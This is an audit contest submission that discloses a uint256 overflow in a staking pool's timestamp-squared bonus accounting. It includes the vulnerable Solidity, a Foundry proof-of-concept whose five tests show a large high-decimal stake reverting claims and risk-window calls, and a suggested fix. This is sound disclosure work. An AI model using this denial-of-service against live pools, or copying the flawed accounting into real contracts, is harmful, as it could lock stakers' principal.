FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Large raw-supply ERC20 stakes can DoS risk observation and claims via timestamp-squared overflow

Author Revealed upon completion

Root + Impact

Description

  • Normal behavior: stakers deposit an allowlisted ERC20, the pool opens a risk window when the registry reaches an active-risk state, and stakers later recover principal plus any owed bonus through claimSurvived() or claimExpired().

  • Normal behavior: the k=2 bonus formula should weight each stake by elapsed risk time, equivalent to stake * (T - entryTime)^2, where T is the resolution timestamp and entryTime is the effective risk-window entry timestamp.

  • The issue is that the contract stores and expands absolute Unix timestamps before cancellation. With a standard high-decimal ERC20 stake, the intermediate stake * timestamp^2 terms overflow even though the intended elapsed-time score can be small and valid. ERC-20 does not restrict decimals(), and the factory's allowlist does not impose a decimals, supply, or aggregate-stake bound.

  • The same root cause appears in two places: _markRiskWindowStart() recomputes global stake-time sums using totalEligibleStake * t * t, and _bonusShare() computes the claim score using T * T * stake + stakeTimeSq - 2 * T * stakeTime.

function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
if (t > expiry) t = expiry;
riskWindowStart = uint32(t);
sumStakeTime = totalEligibleStake * t;
@> sumStakeTimeSq = totalEligibleStake * t * t;
emit RiskWindowStarted(t);
}
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
if (snapshotTotalBonus == 0) return 0;
if (riskWindowStart == 0) return 0;
uint256 T = outcomeFlaggedAt;
@> uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
@> uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;
if (globalScore == 0) {
if (snapshotTotalStaked == 0) return 0;
return Math.mulDiv(userEligible, snapshotTotalBonus, snapshotTotalStaked);
}
return Math.mulDiv(userScore, snapshotTotalBonus, globalScore);
}

Risk

Likelihood:

  • The factory owner allowlists a standard ERC20 with 60 decimals. This is within the documented ERC20 compatibility: it is neither fee-on-transfer nor rebasing.

  • A staker deposits 2.835e58 raw units, which is 0.02835 tokens at 60 decimals. The stake succeeds at the production-scale base timestamp, then a one-day risk window makes the claim-time intermediate overflow.

  • The project documents support for standard ERC20 tokens, but does not define a decimals, total-supply, or per-pool raw stake cap that keeps these timestamp-squared intermediates below uint256.max.

Impact:

  • Active-risk observation can revert in _markRiskWindowStart(), blocking pokeRiskWindow() and any call path that first observes the active-risk state.

  • When the pool expires while the registry remains active-risk, claimExpired() can revert before resolving EXPIRED, blocking the intended expiry backstop and principal withdrawal.

  • With a nonzero bonus and an already observed risk window, claimSurvived() and claimExpired() can revert in _bonusShare().

  • A huge staker can overflow the global score and block smaller honest stakers from claiming.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {stdError} from "forge-std/StdError.sol";
contract HighDecimalERC20 is MockERC20 {
function decimals() public pure override returns (uint8) {
return 60;
}
}
contract ConfidencePoolOverflowTest is BaseConfidencePoolTest {
// 0.02835 tokens at 60 decimals.
uint256 internal constant OVERFLOW_STAKE = 2835 * 10 ** 55;
function setUp() public override {
super.setUp();
token = new HighDecimalERC20();
pool = _deployPool();
assertEq(token.decimals(), 60);
}
function testLargeStakeCanOverflowRiskWindowStartObservation() external {
uint256 start = block.timestamp;
uint256 nearLimitAtStakeTime = ((type(uint256).max / start) / start) * 999 / 1000;
_stake(alice, nearLimitAtStakeTime);
vm.warp(pool.expiry() - 1);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.expectRevert(stdError.arithmeticError);
pool.pokeRiskWindow();
}
function testLargeStakeCanBlockExpiredBackstopWhileStillActiveRisk() external {
uint256 start = block.timestamp;
uint256 nearLimitAtStakeTime = ((type(uint256).max / start) / start) * 999 / 1000;
_stake(alice, nearLimitAtStakeTime);
vm.warp(pool.expiry());
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.prank(alice);
vm.expectRevert(stdError.arithmeticError);
pool.claimExpired();
}
function testClaimCanOverflowQuadraticIntermediateAfterStakeSucceeds() external {
_stake(alice, OVERFLOW_STAKE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(vm.getBlockTimestamp() + 1 days);
_contributeBonus(carol, ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(alice);
vm.expectRevert(stdError.arithmeticError);
pool.claimSurvived();
}
function testHugeStakeCanOverflowGlobalScoreAndBlockSmallStakerClaim() external {
_stake(alice, OVERFLOW_STAKE);
_stake(bob, ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(vm.getBlockTimestamp() + 1 days);
_contributeBonus(carol, ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(bob);
vm.expectRevert(stdError.arithmeticError);
pool.claimSurvived();
}
function testClaimExpiredCanOverflowQuadraticIntermediateAfterStakeSucceeds() external {
_stake(alice, OVERFLOW_STAKE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
_contributeBonus(carol, ONE);
vm.warp(pool.expiry());
vm.prank(alice);
vm.expectRevert(stdError.arithmeticError);
pool.claimExpired();
}
}

Run:

forge test --match-path test/audit/ConfidencePoolOverflow.t.sol -vv

Result:

Ran 5 tests for test/audit/ConfidencePoolOverflow.t.sol:ConfidencePoolOverflowTest
[PASS] testClaimCanOverflowQuadraticIntermediateAfterStakeSucceeds()
[PASS] testClaimExpiredCanOverflowQuadraticIntermediateAfterStakeSucceeds()
[PASS] testHugeStakeCanOverflowGlobalScoreAndBlockSmallStakerClaim()
[PASS] testLargeStakeCanBlockExpiredBackstopWhileStillActiveRisk()
[PASS] testLargeStakeCanOverflowRiskWindowStartObservation()
Suite result: ok. 5 passed; 0 failed; 0 skipped

Recommended Mitigation

Use a delta-based accounting representation throughout, or enforce a per-pool aggregate-stake cap derived from the maximum timestamp. A cap must account for both terms in _bonusShare(); capping each individual deposit alone is insufficient because snapshotTotalStaked is aggregate state.

+ error StakeCapacityExceeded();
function _maxSafeTotalStake() internal view returns (uint256) {
+ // Both `T^2 * totalStake` and `sumStakeTimeSq` can approach T^2 * totalStake.
+ return type(uint256).max / (2 * uint256(expiry) * uint256(expiry));
+ }
function stake(uint256 amount) external {
// ... transfer and determine `received` ...
+ uint256 maxSafeStake = _maxSafeTotalStake();
+ if (received > maxSafeStake - totalEligibleStake) revert StakeCapacityExceeded();
// ... update timestamp-weighted accumulators ...
}

Alternatively, replace the absolute-time polynomial accumulators with accumulators expressed relative to the risk-window start, and apply that representation consistently in stake, _clampUserSums, _markRiskWindowStart, and _bonusShare.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!